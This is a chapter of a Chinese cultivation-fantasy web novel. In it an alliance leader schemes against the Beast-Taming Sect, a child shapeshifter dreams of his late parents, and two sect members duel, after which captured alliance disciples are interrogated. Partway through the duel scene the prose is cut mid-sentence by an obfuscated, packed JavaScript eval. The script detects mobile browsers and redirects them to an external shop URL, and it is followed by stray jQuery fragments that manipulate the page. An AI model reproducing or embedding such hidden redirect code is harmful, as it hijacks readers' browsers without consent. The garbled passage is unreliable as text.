海城,宗门联盟。
路兴文双手负于身后,听着三位曜阳境长老说着之前妖兽大闹海城事情的后续。
“目前福地使用了备用钥匙后还是打不开。”崔长老冷汗淋漓,忍着路兴文释放的威压,一字一句说着。
路兴文叹了口气,崔长老埋低了自己的头。
“罢了,那福地是开不启了。”
崔长老立在路兴文下首,讷讷不言。
“告知海城百姓,就说我们找到了上次大闹海城的妖兽,一网打尽,妖祸已解,为顺应天意,此后丰收季一律用凡畜即可。”
崔长老微张唇齿,想说话的心思在抬头撞见了路盟主的脸色后全部收了回去,恭恭敬敬:“是。”
路兴文继续吩咐:“叫那些巡检踪迹的弟子也一并回来,不必再寻找了。”
“是。”
崔长老上前半步,“盟主,就这么放过那群贼人?”
路兴文:“依你所见,要如何做?”
崔长老忙表忠心,“一切都听盟主吩咐!”
路兴文笑了笑,“崔长老,别紧张。现在福地因不明原因打不开,那群贼人也多半离开了海城,踪迹难寻,根据门人传来的情报……”他停顿半响,“能令如意回转心意的,除了那个宗门,我想不到其他原因。”
崔长老:“您是说……御兽宗?”
路兴文不回答这个问题,“崔长老,你与赵长老两人速速前往晨落城与之前蛰伏的联盟弟子汇合。”
崔长老:“是!”
“到达目的地后,你知道该怎么做的。”
待崔长老离开后,路兴文看着自己手中的黑狼,一把捏住手心。心中冷笑,不过是个凋敝的小宗门罢了,没有新鲜血液,宗门大比出不了头,世人根本没听说过,又有何用?又有何人发现?
可他焦躁的步伐暴露了内心。路兴文做了这么多年的联盟盟主,德高望重处身高位自然不会亲自前去挑一个没落宗门的刺。
他只要一想到当年剑宗泰清长老拿剑指着他的记忆就面目狰狞,当年若不是泰清威胁他,天下就不会有御兽宗,自己如今也不会指望那群废物能办成事。
该死的泰清怎么还活着?!
不过,他也威胁不到自己多久了,路兴文不心疼玉如意被夺走,不在乎福地是否能开启,这些事情对他即将突破一事并没有多大的影响。
他将突破,成为现在修真界第一个迈入心芒境的人。
宗门联盟这边的决定和安排白穗灯等人一概不知,就算知道了也是兵来将挡水来土掩。
岳濯枝在白穗灯怀中做了个梦,他很少做梦,成为兽型被别人护在怀中倒是难得的梦见了过去。
他梦见了他的娘亲,他娘亲有个很好听的名字,青梅。每逢夏季枝头上挂满了青梅果,父亲就会哄骗他吃果子,那果子恁酸,岳濯枝上过一次当之后再也不吃了,谁吃谁傻。
父亲也不爱吃青梅,倒是爱用青梅泡酒,每年泡出来的酒都会与娘亲分享,从不分他一杯,小气。
岳濯枝也不稀罕,他自己有好吃的。“那你那所谓的好吃的在哪里呢?”父亲问。
“当然是在……”岳濯枝翻身寻找,却没找到那样东西。他嘴里念叨着:“在哪里呢?在哪里呢?”他嘟囔着嘴快哭了。
岳青梅敲了敲自家相公的脑门,“有你这么忽悠小雨的吗?”说着,岳青梅蹲下身,安慰岳濯枝:“小雨,你好好想想,你想找的东西,到底是不是吃的?”
岳濯枝站定,认真思索,“好像······不能吃。”他左右环顾,还是没能找到自己想要的东西。
岳青梅笑着揉他的脑袋,“傻孩子,房间里没有,难道外面就没有吗?”
岳濯枝看向门外,明晃晃的阳光迈着小碎步跳进来。
他一步三回头,走到门口时,又回头望去,“阿娘阿爹,你们不来吗?”
岳濯枝的父亲哈哈大笑:“胆小鬼,你该不会是害怕一个人出门吧!”
他话刚说完就被岳青梅一个板栗爆头,“胡咧咧什么?”岳青梅说:“濯枝,我们就在房间里等你。你可以一个人去找到很重要的东西,对不对?”
岳濯枝点头,站在大门口,正视外面的世界。他第一眼就注意到了一朵小花。小小的,白白的。看着很脆弱,却那么精神。是了,这就是自己要找的重要之物。
岳濯枝冲出房间,走到小花面前,双手虚捧,回头想对爹娘分享喜悦,只看见爹娘化为星辰在空气中消散。岳青梅笑着对岳濯枝挥手,似在告别。
岳濯枝是热醒的,他睁开眼睛,发现自己面前是一尾银色的毛茸,很明显是流月的尾巴。
他站起身子,甩了甩毛,习惯性地伸懒腰。流月也醒来,只瞅了瞅岳濯枝两眼,又闭上眼睛小憩。房间内除了流月与曜灵,没有白穗灯的身影。
岳濯枝跳下床,走到门口,看见了在院子中练剑的白穗灯。她刚练完一套剑法,与蹲在地上的岳濯枝目光接触后笑了笑。
时光如水,岳濯枝就这么每天陪着白穗灯练功,看书,偶尔抽查莫桐他们的学习进度。随着他们的修为陆续突破,松凛凛也出了福地。
这人出来后第一件事就是去找白秋仪约架,还喊了白穗灯做见证。
白穗灯:“那秋仪同意了吗?”
“当然,她没理由拒绝。”
岳濯枝无语,自己想和白秋仪切磋就自己去,忽然叫上白穗灯做什么?才梳到一半的毛就这么被打扰了!但见白穗灯走,它还是跟了上去。
几人到了演武场,白秋仪与松凛凛面对面站在彼此的前方。
白穗灯抱着怀中白脸狸跃上房檐,取出长弓,利落地射在两人中间的地板上。箭矢落在场中的一瞬——白秋仪的幻兽独角天马直冲而去,松凛凛跃空躲避,天马紧随其上,空气中一阵荡涤,松凛凛的防御阵法恰好绘制完成,在身侧展开,阻挡下天马的冲撞和幽狼的利爪。
“同样的招数,我可不会再上当。”松凛凛笑着说。
白秋仪一张符箓拦下试图从背后偷袭的玄蛛,一挥毛笔,四周登时出现数张赤、玄、黄、白、蓝五色符箓环绕,形成一道无法逾越的防护。
两人你来我往,打的火热。
白穗灯一心二用,注意二人打斗的同时给白脸狸喂肉干。岳濯枝吃着递来的肉干颇为羞赧,在心中轻视自己故意装乖等投喂,身体却很诚实地吃着递过来的嗟来之食。
流月在一旁翻白眼,曜灵在一旁为秋仪鼓气喝彩。白穗灯注意到它们的表情,嘴角弯了弯。
对决进行到了一个白热化的程度,松凛凛发冠上的装饰,一只粉白相间的蝴蝶忽然活了过来,在空中绕着松凛凛飞舞。
瑰丽的白色花纹与粉色翅膀相得益彰。伴随着蝴蝶的每一次振翅,细微的粉末抖落在空气中飘散。
那只蝴蝶就是松凛凛进入福地契约的灵兽吧。伪装了那么久,无形粉末应该快要发挥作用了。白穗灯揉摸着白脸狸:“秋仪要输了。”
她话音刚落,白秋仪似察觉到什么,倏忽半跪在地上,周身的护身符咒似落叶簌簌落下,幽狼护在她身前,粉蝶静静地停在狼头上,两者屹立不动。
白秋仪纳闷:“你契约的粉白蝶原来是这个作用。”
她初时以为那只是好看的花架子,很符合松凛凛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172376|196856||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不正经的性格。结果自己现在全身无力,无法调动灵气的罪魁祸首就是那只一直被她所忽视的粉白蝴蝶。
松凛凛抱拳,“承认承认,那赌注?”
白秋仪扔过去一块石头,居然是当初两人第一次切磋做赌注的梦碎石,现下又被二人拿来做了赌注。
白穗灯在一旁看着二人行为,觉得下次切磋的赌注绝对还会是这块梦碎石。
松凛凛赢了比试,拿到了梦碎石,心情大好,本来还想说些场面话,但见一旁的白宗主还在,收了嘴,想起了正事。
“宗主,那我去审问后山那群联盟弟子了?”
白穗灯点头,松凛凛火速带着自己的小蝴蝶遁走。
白秋仪此刻还没恢复,她一脸抑郁,收拾好心情摸了摸身旁同样抑郁的幽狼。见白穗灯过来后疑惑:“宗主?”
“想好下次要怎么赢松凛凛了吗?”
白秋仪振振有词:“他这次胜利,无非是仗着拖延时间,等粉白蝶的磷粉发挥作用后,我的幻兽无用,他只需解决掉玄灵就能获胜,下次定不能拖时间,要主动打他个措手不及才是!”她口中的玄灵就是福地契约到的幽狼。
白穗灯见她斗志昂扬,一头扎进研究如何下次打败松凛凛这件事,长舒一口气,这件事情没影响到白秋仪就好。
松凛凛到了后山,见了被菰树妖缠成麻花的数人,不由得哈哈大笑,等他笑够了,摩挲一下菰树妖的躯干,又指着宋宏,“麻烦给这位松活松活,我有事要问他。”
菰树妖听得懂人话,随即松开一些争对宋宏的束缚,却仍旧紧缠宋宏的四肢,不让他有机会逃走。
宋宏萎靡不振,低垂着头,一开始他们还试图使用灵力逃走,可绑着他们的树根居然水火不入。
且不知白穗灯施展了什么法术,几人的灵力根本无法调动,状如凡人,谈何离开?
松凛凛感叹:“道友何苦来哉?长痛不如短痛,一口气交代可好?”
宋宏装傻充愣:“交代什么?你们无故抓我们来山头,这绑匪途径就不怕天下宗门知晓吗?!”
松凛凛大为吃惊,头一次见识到脸皮比他还厚的人,颇为震惊。他不说话,只默默展示自己手中的留影石。
洁白如玉的石头回放了白穗灯渡劫时被宗门联盟发现后,一群人明知影响别人雷劫会带来灾厄,仍旧故犯前去激增雷劫。
“如果你非要倒打一耙,我们也是有证据的。”松凛凛无奈摊手。
“不过,你非不说的话,我也是有其他办法的。”
松凛凛手中灵线勾勒,绘制成白色薄雾的结界,遮掩住他与宋宏的身形。其他人被菰树妖缠绕根本看不清两人发生了什么,只听得一声声惨叫在耳边徘徊,令人不寒而栗。
没加入御兽宗之前的松凛凛是一名招摇撞骗的散修,过着与天争与人斗的日子。他偷过修仙世家的宝贝,抢过大宗门的妖兽,孤身一人数载,直到抢了黄家的破境丹为避难和疗伤无意间加入了御兽宗。
怎么说呢,松凛凛看着门可罗雀的宗门简直想嘲笑,就这也算是一个宗门?可是看着宗主外出收徒,与黄家斗,与宗门联盟斗,不知怎的,松凛凛想到了自己的过去也是这般单打独斗活着。
如果不是宗主允诺的灵石多,自己才不会来这破宗门应聘当劳什子老师,如果不是宗主的威逼利诱,自己才不会加入这破宗门,如果不是那一声声亲切信任的松老师以及不涉及生死的同门切磋交流,松凛凛才不会待在这里。
他的理智一面叫嚣着快逃,逃离这无尽眷恋的地方,最后还是感情占据了上方。
他喜欢这个敢于说实话没有勾心斗角的宗门。